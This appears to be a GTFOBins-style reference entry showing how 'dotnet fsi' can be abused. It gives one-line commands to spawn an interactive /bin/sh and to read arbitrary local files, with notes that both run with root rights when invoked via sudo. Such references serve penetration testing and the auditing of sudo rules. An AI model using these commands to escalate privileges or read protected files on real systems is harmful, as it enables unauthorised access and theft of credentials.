This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
This executable can read data from local files.
This function can be performed by any unprivileged user.
dotnet fsi
System.IO.File.ReadAllText("/path/to/input-file");;
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
dotnet fsi
System.IO.File.ReadAllText("/path/to/input-file");;